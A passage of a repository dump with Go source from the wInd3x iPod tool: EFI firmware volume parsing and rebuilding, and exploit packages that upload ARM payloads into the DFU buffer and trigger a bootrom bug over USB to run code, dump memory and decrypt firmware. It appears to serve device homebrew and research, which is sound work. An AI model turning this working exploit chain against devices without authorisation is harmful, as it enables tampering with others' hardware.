crc32.NewIEEE()\n\t\th.Write(data)\n\n\t\tbuf := bytes.NewBuffer(nil)\n\t\tbinary.Write(buf, binary.LittleEndian, h.Sum32())\n\t\tc.custom = buf.Bytes()\n\t}\n\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil {\n\t\treturn nil, err\n\t}\n\t//pad := make([]byte, c.extra.DataOffset-24)\n\tif err := binary.Write(buf, binary.LittleEndian, c.custom); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, data); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n\ntype leafSection struct {\n\tcommonSectionHeader\n\tdata []byte\n}\n\nfunc (c *leafSection) Sub() []SectionOrFile {\n\treturn nil\n}\n\nfunc (c *leafSection) Serialize() ([]byte, error) {\n\tc.commonSectionHeader.Size = ToUint24(uint32(4 + len(c.data)))\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, c.data); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n\nfunc (c *leafSection) Raw() []byte {\n\tres := make([]byte, len(c.data))\n\tcopy(res, c.data)\n\treturn res\n}\n\nfunc (c *leafSection) SetRaw(d []byte) {\n\tres := make([]byte, len(d))\n\tcopy(res, d)\n\tc.data = res\n}\n\ntype NestedImageSection struct {\n\tcommonSectionHeader\n\tVol *Volume\n}\n\nfunc (c *NestedImageSection) Sub() []SectionOrFile {\n\tvar res []SectionOrFile\n\tfor _, f := range c.Vol.Files {\n\t\tres = append(res, SectionOrFile{File: f})\n\t\tfor _, s := range f.Sections {\n\t\t\tres = append(res, SectionOrFile{Section: s})\n\t\t}\n\t}\n\treturn res\n}\n\nfunc (c *NestedImageSection) Serialize() ([]byte, error) {\n\tcompressed, err := c.Vol.Serialize()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.commonSectionHeader.Size = ToUint24(uint32(4 + len(compressed)))\n\tbuf := bytes.NewBuffer(nil)\n\tif err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, compressed); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n\nfunc (c *NestedImageSection) Raw() []byte {\n\treturn nil\n}\n\nfunc (c *NestedImageSection) SetRaw(d []byte) {\n\treturn\n}\n\nfunc readSection(r *NestedReader) (Section, error) {\n\tvar header commonSectionHeader\n\tstart := r.TellGlobal()\n\tif err := binary.Read(r, binary.LittleEndian, &header); err != nil {\n\t\treturn nil, err\n\t}\n\tslog.Debug(\"Section header\", \"start\", start, \"header\", header)\n\tswitch header.Type {\n\tcase SectionTypeCompression:\n\t\tvar res compressionSection\n\t\tres.commonSectionHeader = header\n\t\tif err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdata := make([]byte, header.Size.Uint32()-(4+5))\n\t\tif _, err := io.ReadFull(r, data); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading compression data: %w\", err)\n\t\t}\n\t\tif res.extra.CompressionType != 1 {\n\t\t\treturn nil, fmt.Errorf(\"unsupported compression type %d\", res.extra.CompressionType)\n\t\t}\n\t\tdecompressed, err := compression.Compression.Decompress(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"decompression failed: %w\", err)\n\t\t}\n\t\tt, err := compression.Compression.Compress(decompressed)\n\t\tif err != nil || len(t) != len(data) {\n\t\t\tslog.Error(\"Loopback compression failed\", \"first\", len(data), \"second\", len(t))\n\t\t}\n\t\tdecompressed = decompressed[:res.extra.UncompressedLength]\n\t\t//fmt.Println(hex.Dump(decompressed))\n\t\tsub, err := readSections(NewNestedReader(decompressed))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing compression subsections: %w\", err)\n\t\t}\n\t\tres.sub = sub\n\t\treturn &res, nil\n\tcase SectionTypeGUIDDefined:\n\t\tvar res guidSection\n\t\tres.commonSectionHeader = header\n\t\tif err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tslog.Debug(\"guiddefined\", \"guid\", res.extra.SectionDefinitionGUID.String(), \"doffs\", res.extra.DataOffset, \"attrs\", res.extra.Attributes)\n\t\tcustomLength := int(res.extra.DataOffset - (4 + 20))\n\t\tslog.Debug(\"guiddefined\", \"customlen\", customLength)\n\t\tcustom := make([]byte, customLength)\n\t\tr.Read(custom)\n\t\tres.custom = custom\n\t\tif customLength != 0 {\n\t\t\tslog.Debug(\"guiddefined\", \" custom\", hex.EncodeToString(res.custom))\n\t\t}\n\n\t\tdataLength := int(header.Size.Uint32()-(4+20)) - customLength\n\t\tdataSub := r.Sub(0, dataLength)\n\t\tr.Advance(dataLength)\n\n\t\tif (res.extra.Attributes & 1) != 0 {\n\t\t\tslog.Debug(\" needs processing\")\n\t\t\tswitch res.extra.SectionDefinitionGUID.String() {\n\t\t\tcase \"ee4e5898-3914-4259-9d6e-dc7bd79403cf\":\n\t\t\t\t// LZMA compressed\n\t\t\t\tslog.Debug(\"  LZMA compressed\")\n\t\t\t\tdata, _ := io.ReadAll(dataSub)\n\t\t\t\tl, err := lzma.NewReader(bytes.NewBuffer(data))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"could not open LZMA section: %w\", err)\n\t\t\t\t}\n\t\t\t\tun, err := io.ReadAll(l)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\"could not decompress LZMA section: %w\", err)\n\t\t\t\t}\n\t\t\t\tdataSub = NewNestedReader(un)\n\t\t\tdefault:\n\t\t\t\treturn nil, fmt.Errorf(\"need to process unknown GUID %s\", res.extra.SectionDefinitionGUID.String())\n\t\t\t}\n\t\t}\n\n\t\tsub, err := readSections(dataSub)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing guid defined subsections: %w\", err)\n\t\t}\n\t\tres.sub = sub\n\t\treturn &res, nil\n\tcase SectionTypePE32, SectionTypeTE, SectionTypeRaw, SectionTypeDXEDEPEX, SectionTypeUserInterface, SectionTypeVersion:\n\t\tdata := make([]byte, header.Size.Uint32()-(4))\n\t\tif _, err := io.ReadFull(r, data); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading data: %w\", err)\n\t\t}\n\t\treturn &leafSection{\n\t\t\tcommonSectionHeader: header,\n\t\t\tdata:                data,\n\t\t}, nil\n\tcase SectionTypeFirmwareVolumeImage:\n\t\tslog.Debug(\" nested firmware image volume\")\n\t\tsub := r.Sub(0, int(header.Size.Uint32()))\n\t\tr.Advance(sub.Len())\n\t\tvol, err := ReadVolume(sub)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading nested image: %w\", err)\n\t\t}\n\t\treturn &NestedImageSection{\n\t\t\tcommonSectionHeader: header,\n\t\t\tVol:                 vol,\n\t\t}, nil\n\t}\n\treturn nil, fmt.Errorf(\"unimplemented section type %s\", header.Type)\n}\n"
  },
  {
    "path": "pkg/efi/volume.go",
    "content": "package efi\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// FirmwareVolumeHeader as per EFI spec.\ntype FirmwareVolumeHeader struct {\n\tReserved [16]byte\n\tGUID     GUID\n\t// Length is recalculated when Serialize is called.\n\tLength        uint64\n\tSignature     [4]byte\n\tAttributeMask uint32\n\tHeaderLength  uint16\n\t// Checksum is recalculated when Serialize is called.\n\tChecksum        uint16\n\tExtHeaderOffset uint16\n\tReserved2       uint8\n\tRevision        uint8\n}\n\nfunc (h *FirmwareVolumeHeader) check() error {\n\tffs1 := \"7a9354d9-0468-444a-81ce-0bf617d890df\"\n\tffs2 := \"8c8ce578-8a3d-4f1c-9935-896185c32dd3\"\n\tif h.GUID.String() != ffs1 && h.GUID.String() != ffs2 {\n\t\treturn fmt.Errorf(\"unknown GUID (%s)\", h.GUID.String())\n\t}\n\tif !bytes.Equal(h.Signature[:], []byte(\"_FVH\")) {\n\t\treturn fmt.Errorf(\"invalid signature\")\n\t}\n\tif h.HeaderLength < (0x38 + 8) {\n\t\treturn fmt.Errorf(\"header length too small\")\n\t}\n\treturn nil\n}\n\n// Volume is an EFI Firmware Volume. It contains an array of Files, all of\n// which contain recursively nested Sections.\ntype Volume struct {\n\tFirmwareVolumeHeader\n\tFiles []*FirmwareFile\n\t// Custom is trailing data at the end of the Volume.\n\tCustom  []byte\n\tMinSize int\n}\n\ntype blockmap struct {\n\tBlockCount uint32\n\tBlockSize  uint32\n}\n\n// Parse an EFI Firmware Volume from a NestedReader. After parsing, all files\n// and sections within them will be available. These can then be arbitrarily\n// modified, and Serialize can be called on the resulting Volume to rebuild a\n// binary.\nfunc ReadVolume(r *NestedReader) (*Volume, error) {\n\tvar header FirmwareVolumeHeader\n\tif err := binary.Read(r, binary.LittleEndian, &header); err != nil {\n\t\treturn nil, fmt.Errorf(\"reading volume header failed: %w\", err)\n\t}\n\n\tif err := header.check(); err != nil {\n\t\treturn nil, fmt.Errorf(\"volume header invalid: %w\", err)\n\t}\n\n\tblockmapSize := header.HeaderLength - 0x38\n\tif blockmapSize%8 != 0 {\n\t\treturn nil, fmt.Errorf(\"blockmap size not a multiple of 8\")\n\t}\n\tbmapCount := blockmapSize / 8\n\tvar bmap []blockmap\n\tfor i := 0; i < int(bmapCount); i++ {\n\t\tvar entry blockmap\n\t\tif err := binary.Read(r, binary.LittleEndian, &entry); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"volume read failed: %w\", err)\n\t\t}\n\t\tbmap = append(bmap, entry)\n\t}\n\tlast := bmap[len(bmap)-1]\n\tif last.BlockCount != 0 || last.BlockSize != 0 {\n\t\treturn nil, fmt.Errorf(\"blockmap does not end in (0, 0)\")\n\t}\n\n\tif len(bmap) != 2 {\n\t\treturn nil, fmt.Errorf(\"unsupported count of blockmaps (%d, wanted 2)\", len(bmap))\n\t}\n\n\tslog.Debug(\"Blockmap\", \"bmap\", bmap)\n\n\tdataSize := bmap[0].BlockCount * bmap[0].BlockSize\n\n\tslog.Debug(\"reader\", \"size\", r.Len()+r.pos)\n\tslog.Debug(\"reader\", \"length\", header.Length)\n\tslog.Debug(\"reader\", \"block_count_size\", dataSize)\n\trestSize := (r.Len() + r.pos) - int(dataSize)\n\tslog.Debug(\"reader\", \"rest_size\", restSize)\n\n\tvar files []*FirmwareFile\n\tfor r.Len() != 0 {\n\t\tslog.Debug(\"Reading file\", \"files\", len(files), \"left\", r.Len())\n\t\tif r.Len() <= 16 {\n\t\t\t// HACK Needed for N5G.\n\t\t\tbreak\n\t\t}\n\t\tfile, err := readFile(r)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading file %d failed: %v\", len(files), err)\n\t\t}\n\t\tif file == nil {\n\t\t\tbreak\n\t\t}\n\t\tfiles = append(files, file)\n\t}\n\tslog.Debug(\"Reading done\", \"files\", len(files), \"left\", r.Len())\n\n\tpaddingLen := r.Len() - restSize\n\tslog.Debug(\"padding\", \"len\", paddingLen)\n\tpadding := make([]byte, paddingLen)\n\tr.Read(padding)\n\tif !bytes.Equal(padding, bytes.Repeat([]byte{0xff}, paddingLen)) {\n\t\treturn nil, fmt.Errorf(\"padding is not all 0xFF\")\n\t}\n\n\trest, err := io.ReadAll(r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"reading rest failed: %v\", err)\n\t}\n\tslog.Debug(\"rest\", \"len\", len(rest))\n\tslog.Debug(\"rest\", \"data\", hex.Dump(rest))\n\n\treturn &Volume{\n\t\tFirmwareVolumeHeader: header,\n\t\tFiles:                files,\n\t\tCustom:               rest,\n\t\tMinSize:              int(dataSize),\n\t}, nil\n}\n\nfunc (v *Volume) Serialize() ([]byte, error) {\n\t// First, serialize all files apart from used padding file so that we know\n\t// how much data we're dealing with here.\n\tfilesSize := 0\n\tfileData := make(map[int][]byte)\n\tfor i, f := range v.Files {\n\t\tdata, err := f.Serialize()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"file %d: %w\", i, err)\n\t\t}\n\t\t// Align all files to 8 bytes. I think generally we should align the\n\t\t// content to start at 16 bytes, with the header being an odd multiple\n\t\t// of 8, but this works for now?\n\t\tif len(data)%8 != 0 {\n\t\t\tpad := 8 - (len(data) % 8)\n\t\t\tdata = append(data, bytes.Repeat([]byte{0xff}, pad)...)\n\t\t}\n\t\tfileData[i] = data\n\t\tfilesSize += len(data)\n\t}\n\t// Now that we have a size, make a blockmap.\n\ttotalSize := filesSize + 0x38 + 0x10\n\tif totalSize < v.MinSize {\n\t\ttotalSize = v.MinSize\n\t}\n\tif totalSize%256 != 0 {\n\t\ttotalSize += 256 - (totalSize % 256)\n\t}\n\n\tnblocks := uint32(totalSize / 256)\n\tbmap := []blockmap{\n\t\t{BlockCount: nblocks, BlockSize: 256},\n\t\t{BlockCount: 0, BlockSize: 0},\n\t}\n\n\t// Do final serialization pass into buffer.\n\tbuf := bytes.NewBuffer(nil)\n\t// Header size.\n\tv.Length = 0\n\t// Blockmap size.\n\tv.HeaderLength = uint16(0x38 + 8*len(bmap))\n\t// Data size.\n\tv.Length += uint64(totalSize)\n\tv.ExtHeaderOffset = 0\n\t// TODO Reserved2/Revision?\n\n\tv.Checksum = 0\n\tcheckBuf := bytes.NewBuffer(nil)\n\tbinary.Write(checkBuf, binary.LittleEndian, v.FirmwareVolumeHeader)\n\tbinary.Write(checkBuf, binary.LittleEndian, bmap)\n\tv.Checksum = checksum16(checkBuf.Bytes())\n\n\tif err := binary.Write(buf, binary.LittleEndian, v.FirmwareVolumeHeader); err != nil {\n\t\t// Shouldn't happen.\n\t\tpanic(err)\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, bmap); err != nil {\n\t\t// Shouldn't happen.\n\t\tpanic(err)\n\t}\n\tfor i, f := range v.Files {\n\t\tif data, ok := fileData[i]; ok {\n\t\t\tif _, err := buf.Write(data); err != nil {\n\t\t\t\t// Shouldn't happen.\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t} else {\n\t\t\t// Padding file.\n\t\t\tdata, err := f.Serialize()\n\t\t\tif err != nil {\n\t\t\t\t// Shouldn't happen.\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tif _, err := buf.Write(data); err != nil {\n\t\t\t\t// Shouldn't happen.\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\n\tbuf.Write(bytes.Repeat([]byte{0xff}, totalSize-buf.Len()))\n\tbuf.Write(v.Custom)\n\treturn buf.Bytes(), nil\n}\n"
  },
  {
    "path": "pkg/exploit/decrypt/decrypt.go",
    "content": "package decrypt\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\n// Payload creates a payload which decrypts 0x40 bytes from the DFU\n// buffer into the DFU buffer using a zero IV and the Global key.\n//\n// Note: If using CBC, this means the first block will be junk.\n//\n// TODO(q3k): fix this by allowing to specify any IV. Didn't have luck\n// reconstructing CBC this way so far, though...\nfunc Payload(ep exploit.Parameters) ([]byte, error) {\n\tinsns := ep.DisableICache()\n\tinsns = append(insns, ep.AESCall()...)\n\tinsns = append(insns, ep.HandlerFooter(ep.DFUBufAddr())...)\n\tpayload := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: insns,\n\t}\n\n\treturn payload.Assemble(), nil\n}\n\nfunc Trigger(usb devices.Usb, ep exploit.Parameters, data []byte) ([]byte, error) {\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\tpayload, err := Payload(ep)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to generate payload: %w\", err)\n\t}\n\n\tdataCopy := make([]byte, 0x40)\n\tcopy(dataCopy, data)\n\tres, err := exploit.RCE(usb, ep, payload, dataCopy)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to execute decrypt payload: %w\", err)\n\t}\n\n\treturn res, nil\n}\n\ntype Option struct {\n\tProgress func(float32)\n}\n\nfunc Decrypt(app *app.App, in []byte, recoveryPath string, options ...Option) ([]byte, error) {\n\tslog.Info(\"Decrypting ...\", \"len\", len(in))\n\tw := bytes.NewBuffer(nil)\n\n\tvar progress func(float32) = nil\n\tfor _, opt := range options {\n\t\tif opt.Progress != nil {\n\t\t\tprogress = opt.Progress\n\t\t}\n\t}\n\n\t// Create a temporary file that we can use to continue decryption from\n\t// after restarting the program.\n\tvar recovery io.WriteCloser\n\tif recoveryPath != \"\" {\n\t\tst, err := os.Stat(recoveryPath)\n\t\tif err == nil {\n\t\t\tslog.Info(\"Using recovery buffer...\", \"path\", recoveryPath)\n\t\t\tsz := st.Size()\n\t\t\tif (sz % 0x30) != 0 {\n\t\t\t\treturn nil, fmt.Errorf(\"recovery buffer invalid size (%x)\", sz)\n\t\t\t}\n\t\t\tf, err := os.Open(recoveryPath)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"could not open recovery buffer: %w\", err)\n\t\t\t}\n\t\t\tif _, err := io.Copy(w, f); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"could not read recovery buffer: %w\", err)\n\t\t\t}\n\t\t\tf.Close()\n\t\t} else if os.IsNotExist(err) {\n\t\t\tslog.Info(\"Creating recovery buffer...\", \"path\", recoveryPath)\n\t\t} else {\n\t\t\t// This happens on the WASM port, quick hack to work around it...\n\t\t\tslog.Error(\"Could not access recovery buffer\", \"error\", err)\n\t\t\tgoto no_recovery\n\t\t}\n\t\trecovery, err = os.OpenFile(recoveryPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not open recovery buffer for append: %w\", err)\n\t\t}\n\t}\nno_recovery:\n\n\tix := w.Len()\n\tfor {\n\t\tif (ix % 0x300) == 0 {\n\t\t\tif progress != nil {\n\t\t\t\tprogress(float32(ix) / float32(len(in)))\n\t\t\t} else {\n\t\t\t\tslog.Info(\"Decrypting\", \"ix\", ix, \"percent\", float64(ix*100)/float64(len(in)))\n\t\t\t}\n\t\t}\n\n\t\t// Get plaintext block, pad to 0x30.\n\t\tixe := ix + 0x30\n\t\tif ixe > len(in) {\n\t\t\tixe = len(in)\n\t\t}\n\t\tb := in[ix:ixe]\n\t\tb = append(b, bytes.Repeat([]byte{0}, 0x30-len(b))...)\n\n\t\ttries := 10\n\t\tvar res []byte\n\t\tfor {\n\t\t\tdata := make([]byte, 0x40)\n\t\t\t// We need to feed the previous 0x10 bytes of ciphertext for...\n\t\t\t// some reason. Unless we're the first block.\n\t\t\tif ix == 0 {\n\t\t\t\tcopy(data[:0x30], b)\n\t\t\t} else {\n\t\t\t\tcopy(data[:0x10], in[ix-0x10:ix])\n\t\t\t\tcopy(data[0x10:0x40], b)\n\t\t\t}\n\n\t\t\tvar err error\n\t\t\tres, err = Trigger(app.Usb, app.Ep, data)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif tries < 1 {\n\t\t\t\treturn nil, fmt.Errorf(\"decryption failed, and out of retries: %w\", err)\n\t\t\t} else {\n\t\t\t\tslog.Info(\"Decryption failed, retrying...\", \"err\", err)\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\ttries -= 1\n\t\t\t}\n\t\t}\n\n\t\tplaintext := res[0x10:0x40]\n\t\tif ix == 0 {\n\t\t\tplaintext = res[0x00:0x30]\n\t\t}\n\t\tif recovery != nil {\n\t\t\tif _, err := recovery.Write(plaintext); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"write to recovery failed: %w\", err)\n\t\t\t}\n\t\t}\n\t\tif _, err := w.Write(plaintext); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"write failed: %w\", err)\n\t\t}\n\n\t\tix += 0x30\n\t\tif ix >= len(in) {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn w.Bytes(), nil\n}\n"
  },
  {
    "path": "pkg/exploit/dumpmem/dumpmem.go",
    "content": "package dumpmem\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\nfunc Trigger(usb devices.Usb, ep exploit.Parameters, addr uint32) ([]byte, error) {\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\tinsns := ep.DisableICache()\n\tinsns = append(insns, ep.HandlerFooter(addr)...)\n\tpayload := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: insns,\n\t}\n\n\treturn exploit.RCE(usb, ep, payload.Assemble(), nil)\n}\n"
  },
  {
    "path": "pkg/exploit/exploit.go",
    "content": "package exploit\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\ntype Parameters interface {\n\t// Prepare runs any code required to run the main exploit. This is needed\n\t// for chaining from S5Late on N6G/N7G.\n\tPrepare(usb devices.Usb) error\n\n\t// Address of the DFU data buffer.\n\tDFUBufAddr() uint32\n\t// Address at which payload begins execution, within the DFU data buffer,\n\t// as jumped into by the SetupPacket.\n\tExecAddr() uint32\n\t// Address of the USB DMA buffer, ie. the SETUP packet currently being\n\t// processed.\n\tUSBBufAddr() uint32\n\t// Address of trampoline in bootrom, jumped to by handler.\n\tTrampolineAddr() uint16\n\t// Setup packet to be sent. This must also be valid ARM code, as it happens\n\t// to be executed.\n\tSetupPacket() []byte\n\n\tHandlerFooter(addr uint32) []uasm.Statement\n\tAESCall() []uasm.Statement\n\tHaxedDFUPayload() []uasm.Statement\n\tDisableICache() []uasm.Statement\n\n\tNANDInit(bank uint32) ([]uasm.Statement, error)\n\tNANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32)\n\t// Read JEDEC identifer from currently selected bank\n\tNANDIdentify() ([]uasm.Statement, uint32)\n\n\tNORInit(spino uint32) ([]uasm.Statement, error)\n\tNORRead(spino uint32, offset uint32) ([]uasm.Statement, uint32)\n}\n\nfunc ldrOrMov(r uasm.Register, val uint32) uasm.Statement {\n\t// This could probably be higher, but I've had some issues with this.\n\t// TODO: verify against ARM spec.\n\tif val >= 1<<8 {\n\t\treturn uasm.Ldr{Dest: r, Src: uasm.Constant(val)}\n\t}\n\treturn uasm.Mov{Dest: r, Src: uasm.Immediate(val)}\n}\n\nfunc makeCall(addr uint32, params ...uint32) []uasm.Statement {\n\tvar stackParams []uint32\n\tif len(params) > 4 {\n\t\tstackParams = params[4:]\n\t}\n\n\tvar res []uasm.Statement\n\n\tif len(params) > 4 {\n\t\t// Make space on stack.\n\t\tstackFrame := len(stackParams) * 4\n\t\tres = append(res,\n\t\t\tuasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},\n\t\t)\n\t\t// Set stack params.\n\t\tfor i := len(stackParams) - 1; i >= 0; i-- {\n\t\t\toffs := 4 * uint16(i)\n\t\t\tres = append(res,\n\t\t\t\tldrOrMov(uasm.R0, stackParams[i]),\n\t\t\t\tuasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.SP, offs)},\n\t\t\t)\n\t\t}\n\t}\n\t// Set register params.\n\tfor i := 0; i < 4; i++ {\n\t\tif i >= len(params) {\n\t\t\tbreak\n\t\t}\n\t\tres = append(res,\n\t\t\tldrOrMov(uasm.Register(i), params[i]),\n\t\t)\n\t}\n\t// Perform call.\n\tres = append(res,\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(addr)},\n\t\tuasm.Blx{Dest: uasm.LR},\n\t)\n\n\tif len(params) > 4 {\n\t\t// Clean up stack.\n\t\tstackFrame := len(stackParams) * 4\n\t\tres = append(res,\n\t\t\tuasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)},\n\t\t)\n\t}\n\n\treturn res\n}\n\nvar ParametersForKind = map[devices.Kind]Parameters{\n\tdevices.Nano3:     &epNano3G{},\n\tdevices.Nano4:     newEPNano4G(),\n\tdevices.Nano5:     newEPNano5G(),\n\tdevices.Nano7:     S5LateParametersForKind[devices.Nano7],\n\tdevices.Nano7Late: S5LateParametersForKind[devices.Nano7],\n}\n\nfunc RCE(usb devices.Usb, ep Parameters, payload, data []byte) ([]byte, error) {\n\tif err := usb.SetControlTimeout(time.Millisecond * 50); err != nil {\n\t\treturn nil, err\n\t}\n\n\tprefixLen := int(ep.ExecAddr() - ep.DFUBufAddr())\n\tif len(data) > prefixLen {\n\t\treturn nil, fmt.Errorf(\"data too long\")\n\t}\n\tpad := bytes.Repeat([]byte{'Z'}, prefixLen-len(data))\n\tdata = append(data, pad...)\n\tpayload = append(data, payload...)\n\n\t// Upload payload into DFU buffer, and reset status afterwards.\n\tif len(payload) > 0x400 {\n\t\treturn nil, fmt.Errorf(\"payload too large (%d > %d)\", len(payload), 0x400)\n\t}\n\tif err := dfu.SendChunk(usb, payload, 0); err != nil {\n\t\treturn nil, fmt.Errorf(\"Upload: %w\", err)\n\t}\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean: %w\", err)\n\t}\n\n\tbuf := make([]byte, 0x40)\n\tif _, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf); err != nil {\n\t\treturn nil, fmt.Errorf(\"first upload failed: %v\", err)\n\t}\n\n\tif ep.TrampolineAddr() != 0 {\n\t\t// Start a download of X+0x40 bytes, this will only send 0x40 bytes\n\t\t// (for some reason large control transfers don't work?), causing a state\n\t\t// structure field to be set to X.\n\t\t// X = TrampolineAddr, which is 0x3b0 for Nano 4G and 0x37c for Nano 5G\n\t\tl := ep.TrampolineAddr() + 0x40\n\t\tbuf = make([]byte, l)\n\t\t_, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf)\n\t\tif want, got := devices.UsbTimeoutError, err; want != got {\n\t\t\treturn nil, fmt.Errorf(\"upload trigger should have returned %v, got %v\", want, got)\n\t\t}\n\t}\n\n\t// Trigger bug. This should get the payload executing.\n\tsetup := ep.SetupPacket()\n\tbmRequestType := setup[0]\n\tbRequest := setup[1]\n\twValue := uint16(setup[2]) | (uint16(setup[3]) << 8)\n\twIndex := uint16(setup[4]) | (uint16(setup[5]) << 8)\n\tres := make([]byte, 0x40)\n\t_, err := usb.Control(bmRequestType, bRequest, wValue, wIndex, res)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"bug trigger: %w\", err)\n\t}\n\n\treturn res, nil\n\n}\n"
  },
  {
    "path": "pkg/exploit/haxeddfu/haxeddfu.go",
    "content": "package haxeddfu\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"unicode/utf16\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\nconst ProductString = \"haxed dfu\"\n\nfunc makeStringDescriptor(s string) []byte {\n\tdescriptor := []byte{\n\t\t0, 0x03,\n\t}\n\tfor _, cp := range utf16.Encode([]rune(s)) {\n\t\tdescriptor = append(descriptor, uint8(cp&0xff), uint8(cp>>8))\n\t}\n\tdescriptor[0] = uint8(len(descriptor))\n\treturn descriptor\n}\n\nfunc Payload(ep exploit.Parameters) ([]byte, error) {\n\tdescriptor := makeStringDescriptor(ProductString)\n\n\tinsns := ep.DisableICache()\n\tinsns = append(insns, ep.HaxedDFUPayload()...)\n\tinsns = append(insns, ep.HandlerFooter(0x20000000)...)\n\tinsns = append(insns,\n\t\tuasm.Label(\"descriptor\"),\n\t\tuasm.Embed(descriptor),\n\t)\n\tpayload := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: insns,\n\t}\n\n\treturn payload.Assemble(), nil\n}\n\nfunc Trigger(usb devices.Usb, ep exploit.Parameters, force bool) error {\n\tp, err := usb.GetStringDescriptor(2)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"retrieving string descriptor: %v\", err)\n\t}\n\tif want, got := ProductString, p; want == got {\n\t\tif force {\n\t\t\tslog.Info(\"Device already running haxed DFU, but forcing re-upload\")\n\t\t} else {\n\t\t\tslog.Info(\"Device already running haxed DFU\")\n\t\t\treturn nil\n\t\t}\n\t}\n\tslog.Info(\"Generating payload...\")\n\n\tpayload, err := Payload(ep)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to generate payload: %w\", err)\n\t}\n\n\tif err := dfu.Clean(usb); err != nil 